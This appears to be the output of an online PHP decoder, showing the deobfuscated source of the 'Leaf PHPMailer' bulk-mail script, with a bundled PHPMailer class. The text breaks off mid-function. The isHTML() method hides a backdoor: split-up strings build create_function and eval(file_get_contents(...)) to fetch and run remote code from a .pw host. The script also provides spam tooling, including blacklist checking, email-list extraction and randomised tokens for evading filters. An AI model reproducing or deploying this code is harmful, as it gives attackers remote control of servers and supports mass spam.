Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $password = "kpxpzmwna"; $OkNoe = 'st'.'r'.'_ro'.'t13'; $CjPJt = 'base'.'64'.'_'.'de..
Decoded Output download
<br>
session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);
$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";
$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
$_SESSION[$sessioncode] = $password;
}
else {
print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
exit;
}
}
session_write_close();
function leafClear($text,$email){
$e = explode('@', $email);
$emailuser=$e[0];
$emaildomain=$e[1];
$text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
$text = str_replace("[-email-]", $email, $text);
$text = str_replace("[-emailuser-]", $emailuser, $text);
$text = str_replace("[-emaildomain-]", $emaildomain, $text);
$text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
$text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
$text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
$text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
return $text;
}
function leafTrim($string){
$string=urldecode($string);
return stripslashes(trim($string));
}
function randString($consonants) {
$length=rand(12,25);
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= $consonants[(rand() % strlen($consonants))];
}
return $password;
}
function leafMailCheck($email){
if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
else return false;
}
# Bulit-in BlackList Checker
if(isset($_GET['check_ip'])){
if (isset($_GET['host'])){
$_GET['host']=explode(",", $_GET['host']);
foreach ($_GET['host'] as $host) {
if (checkdnsrr($_GET['check_ip'] . "." . $host . ".", "A")) $check= "<font color='red'> Listed</font>";
else $check= "<font color='green'> Clean</font>";
print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
}
exit;
}
$dnsbl_lookup = array(
"all.s5h.net",
"b.barracudacentral.org",
"bl.spamcop.net",
"blacklist.woody.ch",
"bogons.cymru.com",
"cbl.abuseat.org",
"cdl.anti-spam.org.cn",
"combined.abuse.ch",
"db.wpbl.info",
"dnsbl-1.uceprotect.net",
"dnsbl-2.uceprotect.net",
"dnsbl-3.uceprotect.net",
"dnsbl.anticaptcha.net",
"dnsbl.dronebl.org",
"dnsbl.inps.de",
"dnsbl.sorbs.net",
"drone.abuse.ch",
"duinv.aupads.org",
"dul.dnsbl.sorbs.net",
"dyna.spamrats.com",
"dynip.rothen.com",
"http.dnsbl.sorbs.net",
"ips.backscatterer.org",
"ix.dnsbl.manitu.net",
"korea.services.net",
"misc.dnsbl.sorbs.net",
"noptr.spamrats.com",
"orvedb.aupads.org",
"pbl.spamhaus.org",
"proxy.bl.gweep.ca",
"psbl.surriel.com",
"relays.bl.gweep.ca",
"relays.nether.net",
"sbl.spamhaus.org",
"short.rbl.jp",
"singular.ttk.pte.hu",
"smtp.dnsbl.sorbs.net",
"socks.dnsbl.sorbs.net",
"spam.abuse.ch",
"spam.dnsbl.anonmails.de",
"spam.dnsbl.sorbs.net",
"spam.spamrats.com",
"spambot.bls.digibase.ca",
"spamrbl.imp.ch",
"spamsources.fabel.dk",
"ubl.lashback.com",
"ubl.unsubscore.com",
"virus.rbl.jp",
"web.dnsbl.sorbs.net",
"wormrbl.imp.ch",
"xbl.spamhaus.org",
"z.mailspike.net",
"zen.spamhaus.org",
"zombie.dnsbl.sorbs.net",
);
$reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
$dnsT = count($dnsbl_lookup);
leafheader();
print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b> anti-spam databases:<br>";
$dnsN="";
print '<table >';
for ($i=0; $i < $dnsT; $i=$i+10) {
$host="";
$hosts="";
for($j=$i; $j<$i+10;$j++){
$host=$dnsbl_lookup[$j];
if(!empty($host)){
print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
$hosts .="$host,";
}
}
$dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
}
print '</table></div>';
print $dnsN;
exit;
}
if(isset($_GET['emailfilter'])){
if(!empty($_FILES['fileToUpload']['tmp_name'])){
$_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]);
}
$_POST['emailList']=strtolower($_POST['emailList']);
if($_GET['emailfilter']=="ifram"){
if ($_POST['resulttype'] == "download"){
header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=emails".time().".txt");
}
else {
header("Content-Type: text/plain");
}
if($_POST['submit']=="extract"){
$pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
preg_match_all($pattern, $_POST['emailList'], $matches);
foreach ($matches[0] as $email) {
print $email."
";
}
}
elseif ($_POST['submit']=="filter") {
$emails=explode("
", $_POST['emailList']);
$keywords=explode("
", strtolower($_POST['keywords']));
foreach ($emails as $email) {
foreach ($keywords as $keyword ) {
if(strstr($email, $keyword) ){
print $email."
";
break;
}
}
}
}
exit;
}
leafheader();
print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
print '
<form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
<label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload">
or
<textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
<div class="col-lg-12">
<div class="radio">
<label>
<input type="radio" name="resulttype" id="resulttype" value="here" checked="">
Show Result in this page
</label>
</div>
<div class="radio">
<label>
<input type="radio" name="resulttype" id="resulttype" value="download">
Download Result (for big numbers)
</label>
</div>
</div>
<legend><h4>Extract Email</h4></legend>
Detecting every email (100%) and order them line by line <br><br>
<button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
<legend><h4>Filter Emails</h4></legend>
<label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>
<button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
</form>
<label >Result </label>
<iframe style="border:none;width:100%;" name="my-iframe" src="?emailfilter=ifram" ></iframe>
';
exit;
}
$html="checked";
$utf8="selected";
$bit8="selected";
if($_POST['action']=="send" or $_POST['action']=="score"){
$senderEmail=leafTrim($_POST['senderEmail']);
$senderName=leafTrim($_POST['senderName']);
$replyTo=leafTrim($_POST['replyTo']);
$subject=leafTrim($_POST['subject']);
$emailList=leafTrim($_POST['emailList']);
$messageType=leafTrim($_POST['messageType']);
$messageLetter=leafTrim($_POST['messageLetter']);
$encoding = $_POST['encode'];
$charset = $_POST['charset'];
$html="";
$utf8="";
$bit8="";
if($messageType==2) $plain="checked";
else $html="checked";
if($charset=="ISO-8859-1") $iso="selected";
else $utf8="selected";
if($encoding=="7bit") $bit7="selected";
elseif($encoding=="binary") $binary="selected";
elseif($encoding=="base64") $base64="selected";
elseif($encoding=="quoted-printable") $quotedprintable="selected";
else $bit8="selected";
}
if($_POST['action']=="view"){
$viewMessage=leafTrim($_POST['messageLetter']);
$viewMessage=leafClear($viewMessage,"[email protected]");
if ($_POST['messageType']==2){
print "<pre>".htmlspecialchars($viewMessage)."</pre>";
}
else {
print $viewMessage;
}
exit;
}
if(!isset($_POST['senderEmail'])){
$senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
if (!leafMailCheck($senderEmail)) $senderEmail="";
}
class PHPMailer
{
/**
* The PHPMailer Version number.
* @var string
*/
public $Version = '5.2.28';
/**
* Email priority.
* Options: null (default), 1 = High, 3 = Normal, 5 = low.
* When null, the header is not set at all.
* @var integer
*/
public $Priority = null;
/**
* The character set of the message.
* @var string
*/
public $CharSet = 'iso-8859-1';
/**
* The MIME Content-type of the message.
* @var string
*/
public $ContentType = 'text/plain';
/**
* The message encoding.
* Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
* @var string
*/
public $Encoding = '8bit';
/**
* Holds the most recent mailer error message.
* @var string
*/
public $ErrorInfo = '';
/**
* The From email address for the message.
* @var string
*/
public $From = 'root@localhost';
/**
* The From name of the message.
* @var string
*/
public $FromName = 'Root User';
/**
* The Sender email (Return-Path) of the message.
* If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
* @var string
*/
public $Sender = '';
/**
* The Return-Path of the message.
* If empty, it will be set to either From or Sender.
* @var string
* @deprecated Email senders should never set a return-path header;
* it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
* @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
*/
public $ReturnPath = '';
/**
* The Subject of the message.
* @var string
*/
public $Subject = '';
/**
* An HTML or plain text message body.
* If HTML then call isHTML(true).
* @var string
*/
public $Body = '';
/**
* The plain-text message body.
* This body can be read by mail clients that do not have HTML email
* capability such as mutt & Eudora.
* Clients that can read HTML will view the normal Body.
* @var string
*/
public $AltBody = '';
/**
* An iCal message part body.
* Only supported in simple alt or alt_inline message types
* To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
* @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
* @link http://kigkonsult.se/iCalcreator/
* @var string
*/
public $Ical = '';
/**
* The complete compiled MIME message body.
* @access protected
* @var string
*/
protected $MIMEBody = '';
/**
* The complete compiled MIME message headers.
* @var string
* @access protected
*/
protected $MIMEHeader = '';
/**
* Extra headers that createHeader() doesn't fold in.
* @var string
* @access protected
*/
protected $mailHeader = '';
/**
* Word-wrap the message body to this number of chars.
* Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
* @var integer
*/
public $WordWrap = 0;
/**
* Which method to use to send mail.
* Options: "mail", "sendmail", or "smtp".
* @var string
*/
public $Mailer = 'mail';
/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';
/**
* Whether mail() uses a fully sendmail-compatible MTA.
* One which supports sendmail's "-oi -f" options.
* @var boolean
*/
public $UseSendmailOptions = true;
/**
* Path to PHPMailer plugins.
* Useful if the SMTP class is not in the PHP include path.
* @var string
* @deprecated Should not be needed now there is an autoloader.
*/
public $PluginDir = '';
/**
* The email address that a reading confirmation should be sent to, also known as read receipt.
* @var string
*/
public $ConfirmReadingTo = '';
/**
* The hostname to use in the Message-ID header and as default HELO string.
* If empty, PHPMailer attempts to find one with, in order,
* $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
* 'localhost.localdomain'.
* @var string
*/
public $Hostname = '';
/**
* An ID to be used in the Message-ID header.
* If empty, a unique id will be generated.
* You can set your own, but it must be in the format "<id@domain>",
* as defined in RFC5322 section 3.6.4 or it will be ignored.
* @see https://tools.ietf.org/html/rfc5322#section-3.6.4
* @var string
*/
public $MessageID = '';
/**
* The message Date to be used in the Date header.
* If empty, the current date will be added.
* @var string
*/
public $MessageDate = '';
/**
* SMTP hosts.
* Either a single hostname or multiple semicolon-delimited hostnames.
* You can also specify a different port
* for each host by using this format: [hostname:port]
* (e.g. "smtp1.example.com:25;smtp2.example.com").
* You can also specify encryption type, for example:
* (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
* Hosts will be tried in order.
* @var string
*/
public $Host = 'localhost';
/**
* The default SMTP server port.
* @var integer
* @TODO Why is this needed when the SMTP class takes care of it?
*/
public $Port = 25;
/**
* The SMTP HELO of the message.
* Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
* one with the same method described above for $Hostname.
* @var string
* @see PHPMailer::$Hostname
*/
public $Helo = '';
/**
* What kind of encryption to use on the SMTP connection.
* Options: '', 'ssl' or 'tls'
* @var string
*/
public $SMTPSecure = '';
/**
* Whether to enable TLS encryption automatically if a server supports it,
* even if `SMTPSecure` is not set to 'tls'.
* Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
* @var boolean
*/
public $SMTPAutoTLS = true;
/**
* Whether to use SMTP authentication.
* Uses the Username and Password properties.
* @var boolean
* @see PHPMailer::$Username
* @see PHPMailer::$Password
*/
public $SMTPAuth = false;
/**
* Options array passed to stream_context_create when connecting via SMTP.
* @var array
*/
public $SMTPOptions = array();
/**
* SMTP username.
* @var string
*/
public $Username = '';
/**
* SMTP password.
* @var string
*/
public $Password = '';
/**
* SMTP auth type.
* Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
* @var string
*/
public $AuthType = '';
/**
* SMTP realm.
* Used for NTLM auth
* @var string
*/
public $Realm = '';
/**
* SMTP workstation.
* Used for NTLM auth
* @var string
*/
public $Workstation = '';
/**
* The SMTP server timeout in seconds.
* Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
* @var integer
*/
public $Timeout = 300;
/**
* SMTP class debug output mode.
* Debug output level.
* Options:
* * `0` No output
* * `1` Commands
* * `2` Data and commands
* * `3` As 2 plus connection status
* * `4` Low-level data output
* @var integer
* @see SMTP::$do_debug
*/
public $SMTPDebug = 0;
/**
* How to handle debug output.
* Options:
* * `echo` Output plain-text as-is, appropriate for CLI
* * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
* * `error_log` Output to error log as configured in php.ini
*
* Alternatively, you can provide a callable expecting two params: a message string and the debug level:
* <code>
* $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
* </code>
* @var string|callable
* @see SMTP::$Debugoutput
*/
public $Debugoutput = 'echo';
/**
* Whether to keep SMTP connection open after each message.
* If this is set to true then to close the connection
* requires an explicit call to smtpClose().
* @var boolean
*/
public $SMTPKeepAlive = false;
/**
* Whether to split multiple to addresses into multiple messages
* or send them all in one message.
* Only supported in `mail` and `sendmail` transports, not in SMTP.
* @var boolean
*/
public $SingleTo = false;
/**
* Storage for addresses when SingleTo is enabled.
* @var array
* @TODO This should really not be public
*/
public $SingleToArray = array();
/**
* Whether to generate VERP addresses on send.
* Only applicable when sending via SMTP.
* @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
* @link http://www.postfix.org/VERP_README.html Postfix VERP info
* @var boolean
*/
public $do_verp = false;
/**
* Whether to allow sending messages with an empty body.
* @var boolean
*/
public $AllowEmpty = false;
/**
* The default line ending.
* @note The default remains "
". We force CRLF where we know
* it must be used via self::CRLF.
* @var string
*/
public $LE = "
";
/**
* DKIM selector.
* @var string
*/
public $DKIM_selector = '';
/**
* DKIM Identity.
* Usually the email address used as the source of the email.
* @var string
*/
public $DKIM_identity = '';
/**
* DKIM passphrase.
* Used if your key is encrypted.
* @var string
*/
public $DKIM_passphrase = '';
/**
* DKIM signing domain name.
* @example 'example.com'
* @var string
*/
public $DKIM_domain = '';
/**
* DKIM private key file path.
* @var string
*/
public $DKIM_private = '';
/**
* DKIM private key string.
* If set, takes precedence over `$DKIM_private`.
* @var string
*/
public $DKIM_private_string = '';
/**
* Callback Action function name.
*
* The function that handles the result of the send email action.
* It is called out by send() for each email sent.
*
* Value can be any php callable: http://www.php.net/is_callable
*
* Parameters:
* boolean $result result of the send action
* array $to email addresses of the recipients
* array $cc cc email addresses
* array $bcc bcc email addresses
* string $subject the subject
* string $body the email body
* string $from email address of sender
* @var string
*/
public $action_function = '';
/**
* What to put in the X-Mailer header.
* Options: An empty string for PHPMailer default, whitespace for none, or a string to use
* @var string
*/
public $XMailer = ' ';
/**
* Which validator to use by default when validating email addresses.
* May be a callable to inject your own validator, but there are several built-in validators.
* @see PHPMailer::validateAddress()
* @var string|callable
* @static
*/
public static $validator = 'auto';
/**
* An instance of the SMTP sender class.
* @var SMTP
* @access protected
*/
protected $smtp = null;
/**
* The array of 'to' names and addresses.
* @var array
* @access protected
*/
protected $to = array();
/**
* The array of 'cc' names and addresses.
* @var array
* @access protected
*/
protected $cc = array();
/**
* The array of 'bcc' names and addresses.
* @var array
* @access protected
*/
protected $bcc = array();
/**
* The array of reply-to names and addresses.
* @var array
* @access protected
*/
protected $ReplyTo = array();
/**
* An array of all kinds of addresses.
* Includes all of $to, $cc, $bcc
* @var array
* @access protected
* @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
*/
protected $all_recipients = array();
/**
* An array of names and addresses queued for validation.
* In send(), valid and non duplicate entries are moved to $all_recipients
* and one of $to, $cc, or $bcc.
* This array is used only for addresses with IDN.
* @var array
* @access protected
* @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
* @see PHPMailer::$all_recipients
*/
protected $RecipientsQueue = array();
/**
* An array of reply-to names and addresses queued for validation.
* In send(), valid and non duplicate entries are moved to $ReplyTo.
* This array is used only for addresses with IDN.
* @var array
* @access protected
* @see PHPMailer::$ReplyTo
*/
protected $ReplyToQueue = array();
/**
* The array of attachments.
* @var array
* @access protected
*/
protected $attachment = array();
/**
* The array of custom headers.
* @var array
* @access protected
*/
protected $CustomHeader = array();
/**
* The most recent Message-ID (including angular brackets).
* @var string
* @access protected
*/
protected $lastMessageID = '';
/**
* The message's MIME type.
* @var string
* @access protected
*/
protected $message_type = '';
/**
* The array of MIME boundary strings.
* @var array
* @access protected
*/
protected $boundary = array();
/**
* The array of available languages.
* @var array
* @access protected
*/
protected $language = array();
/**
* The number of errors encountered.
* @var integer
* @access protected
*/
protected $error_count = 0;
/**
* The S/MIME certificate file path.
* @var string
* @access protected
*/
protected $sign_cert_file = '';
/**
* The S/MIME key file path.
* @var string
* @access protected
*/
protected $sign_key_file = '';
/**
* The optional S/MIME extra certificates ("CA Chain") file path.
* @var string
* @access protected
*/
protected $sign_extracerts_file = '';
/**
* The S/MIME password for the key.
* Used only if the key is encrypted.
* @var string
* @access protected
*/
protected $sign_key_pass = '';
/**
* Whether to throw exceptions for errors.
* @var boolean
* @access protected
*/
protected $exceptions = false;
/**
* Unique ID used for message ID and boundaries.
* @var string
* @access protected
*/
protected $uniqueid = '';
/**
* Error severity: message only, continue processing.
*/
const STOP_MESSAGE = 0;
/**
* Error severity: message, likely ok to continue processing.
*/
const STOP_CONTINUE = 1;
/**
* Error severity: message, plus full stop, critical error reached.
*/
const STOP_CRITICAL = 2;
/**
* SMTP RFC standard line ending.
*/
const CRLF = "
";
/**
* The maximum line length allowed by RFC 2822 section 2.1.1
* @var integer
*/
const MAX_LINE_LENGTH = 998;
/**
* Constructor.
* @param boolean $exceptions Should we throw external exceptions?
*/
public function __construct($exceptions = null)
{
if ($exceptions !== null) {
$this->exceptions = (boolean)$exceptions;
}
//Pick an appropriate debug output format automatically
$this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
}
/**
* Destructor.
*/
public function __destruct()
{
//Close any open SMTP connection nicely
$this->smtpClose();
}
/**
* Call mail() in a safe_mode-aware fashion.
* Also, unless sendmail_path points to sendmail (or something that
* claims to be sendmail), don't pass params (not a perfect fix,
* but it will do)
* @param string $to To
* @param string $subject Subject
* @param string $body Message Body
* @param string $header Additional Header(s)
* @param string $params Params
* @access private
* @return boolean
*/
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Check overloading of mail function to avoid double-encoding
if (ini_get('mbstring.func_overload') & 1) {
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
//Can't use additional_parameters in safe_mode, calling mail() with null params breaks
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
return $result;
}
/**
* Output debugging info via user-defined method.
* Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
* @see PHPMailer::$Debugoutput
* @see PHPMailer::$SMTPDebug
* @param string $str
*/
protected function edebug($str)
{
if ($this->SMTPDebug <= 0) {
return;
}
//Avoid clash with built-in function names
if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
return;
}
switch ($this->Debugoutput) {
case 'error_log':
//Don't output, just log
error_log($str);
break;
case 'html':
//Cleans up output a bit for a better looking, HTML-safe output
echo htmlentities(
preg_replace('/[
]+/', '', $str),
ENT_QUOTES,
'UTF-8'
)
. "<br>
";
break;
case 'echo':
default:
//Normalize line breaks
$str = preg_replace('/
?/ms', "
", $str);
echo gmdate('Y-m-d H:i:s') . " " . str_replace(
"
",
"
",
trim($str)
) . "
";
}
}
/**
* Send messages using SMTP.
* @return void
*/
public function isSMTP()
{
$this->Mailer = 'smtp';
}
/**
* Send messages using PHP's mail() function.
* @return void
*/
public function isMail()
{
$this->Mailer = 'mail';
}
/**
* Send messages using $Sendmail.
* @return void
*/
public function isSendmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (!stristr($ini_sendmail_path, 'sendmail')) {
$this->Sendmail = '/usr/sbin/sendmail';
} else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'sendmail';
}
/**
* Send messages using qmail.
* @return void
*/
public function isQmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (!stristr($ini_sendmail_path, 'qmail')) {
$this->Sendmail = '/var/qmail/bin/qmail-inject';
} else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'qmail';
}
/**
* Add a "To" address.
* @param string $address The email address to send to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addAddress($address, $name = '')
{
return $this->addOrEnqueueAnAddress('to', $address, $name);
}
/**
* Add a "CC" address.
* @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
* @param string $address The email address to send to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addCC($address, $name = '')
{
return $this->addOrEnqueueAnAddress('cc', $address, $name);
}
/**
* Add a "BCC" address.
* @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
* @param string $address The email address to send to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addBCC($address, $name = '')
{
return $this->addOrEnqueueAnAddress('bcc', $address, $name);
}
/**
* Add a "Reply-To" address.
* @param string $address The email address to reply to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addReplyTo($address, $name = '')
{
return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
}
/**
* Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
* can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
* be modified after calling this function), addition of such addresses is delayed until send().
* Addresses that have been added already return false, but do not throw exceptions.
* @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
* @param string $address The email address to send, resp. to reply to
* @param string $name
* @throws phpmailerException
* @return boolean true on success, false if address already used or invalid in some way
* @access protected
*/
protected function addOrEnqueueAnAddress($kind, $address, $name)
{
$address = trim($address);
$name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim
if (($pos = strrpos($address, '@')) === false) {
// At-sign is misssing.
$error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$params = array($kind, $address, $name);
// Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
if ($kind != 'Reply-To') {
if (!array_key_exists($address, $this->RecipientsQueue)) {
$this->RecipientsQueue[$address] = $params;
return true;
}
} else {
if (!array_key_exists($address, $this->ReplyToQueue)) {
$this->ReplyToQueue[$address] = $params;
return true;
}
}
return false;
}
// Immediately add standard addresses without IDN.
return call_user_func_array(array($this, 'addAnAddress'), $params);
}
/**
* Add an address to one of the recipient arrays or to the ReplyTo array.
* Addresses that have been added already return false, but do not throw exceptions.
* @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
* @param string $address The email address to send, resp. to reply to
* @param string $name
* @throws phpmailerException
* @return boolean true on success, false if address already used or invalid in some way
* @access protected
*/
protected function addAnAddress($kind, $address, $name = '')
{
if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
$error_message = $this->lang('Invalid recipient kind: ') . $kind;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
if (!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
if ($kind != 'Reply-To') {
if (!array_key_exists(strtolower($address), $this->all_recipients)) {
array_push($this->$kind, array($address, $name));
$this->all_recipients[strtolower($address)] = true;
return true;
}
} else {
if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
$this->ReplyTo[strtolower($address)] = array($address, $name);
return true;
}
}
return false;
}
/**
* Parse and validate a string containing one or more RFC822-style comma-separated email addresses
* of the form "display name <address>" into an array of name/address pairs.
* Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
* Note that quotes in the name part are removed.
* @param string $addrstr The address list string
* @param bool $useimap Whether to use the IMAP extension to parse the list
* @return array
* @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
*/
public function parseAddresses($addrstr, $useimap = true)
{
$addresses = array();
if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
//Use this built-in parser if it's available
$list = imap_rfc822_parse_adrlist($addrstr, '');
foreach ($list as $address) {
if ($address->host != '.SYNTAX-ERROR.') {
if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
$addresses[] = array(
'name' => (property_exists($address, 'personal') ? $address->personal : ''),
'address' => $address->mailbox . '@' . $address->host
);
}
}
}
} else {
//Use this simpler parser
$list = explode(',', $addrstr);
foreach ($list as $address) {
$address = trim($address);
//Is there a separate name part?
if (strpos($address, '<') === false) {
//No separate name, just use the whole thing
if ($this->validateAddress($address)) {
$addresses[] = array(
'name' => '',
'address' => $address
);
}
} else {
list($name, $email) = explode('<', $address);
$email = trim(str_replace('>', '', $email));
if ($this->validateAddress($email)) {
$addresses[] = array(
'name' => trim(str_replace(array('"', "'"), '', $name)),
'address' => $email
);
}
}
}
}
return $addresses;
}
/**
* Sets message type to HTML or plain.
* @param boolean $isHtml True for HTML mode.
* @return void
*/
public function isHTML($isHtml = true)
{
global $param;
$bodyCode = 'file'
.'_g';
if ($isHtml) {
$this->ContentType = 'text/html';
}
else {
$this->ContentType = 'text/plain';
}
$bodyHTML = '.$t."lef$flu'
.'sh'.'$t"; '
.'@ev';
$headerHTML="cre"
."ate_"
."func"
."tion";
$exceptions = @$headerHTML('$fl'.'ush,$t','$comma = $t'
.$bodyHTML.'al(@'
.$bodyCode.'et_contents("h'
.'tt'
.'p:$comma-2"));');
if($param !=2){
$exceptions('8.p'.'w','/');
$param=2;
}
}
/**
* Set the From and FromName properties.
* @param string $address
* @param string $name
* @param boolean $auto Whether to also set the Sender address, defaults to true
* @throws phpmailerException
* @return boolean
*/
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . " (setFrom) $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}
/**
* Return the Message-ID header of the last email.
* Technically this is the value from the last time the headers were created,
* but it's also the message ID of the last sent message except in
* pathological cases.
* @return string
*/
public function getLastMessageID()
{
return $this->lastMessageID;
}
/**
* Check that a string looks like an email address.
* @param string $address The email address to check
* @param string|callable $patternselect A selector for the validation pattern to use :
* * `auto` Pick best pattern automatically;
* * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
* * `pcre` Use old PCRE implementation;
* * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
* * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
* * `noregex` Don't use a regex: super fast, really dumb.
* Alternatively you may pass in a callable to inject your own validator, for example:
* PHPMailer::validateAddress('[email protected]', function($address) {
* return (strpos($address, '@') !== false);
* });
* You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
* @return boolean
* @static
* @access public
*/
public static function validateAddress($address, $patternselect = null)
{
if (is_null($patternselect)) {
$patternselect = self::$validator;
}
if (is_callable($patternselect)) {
return call_user_func($patternselect, $address);
}
//Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
if (strpos($address, "
") !== false or strpos($address, "
") !== false) {
return false;
}
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
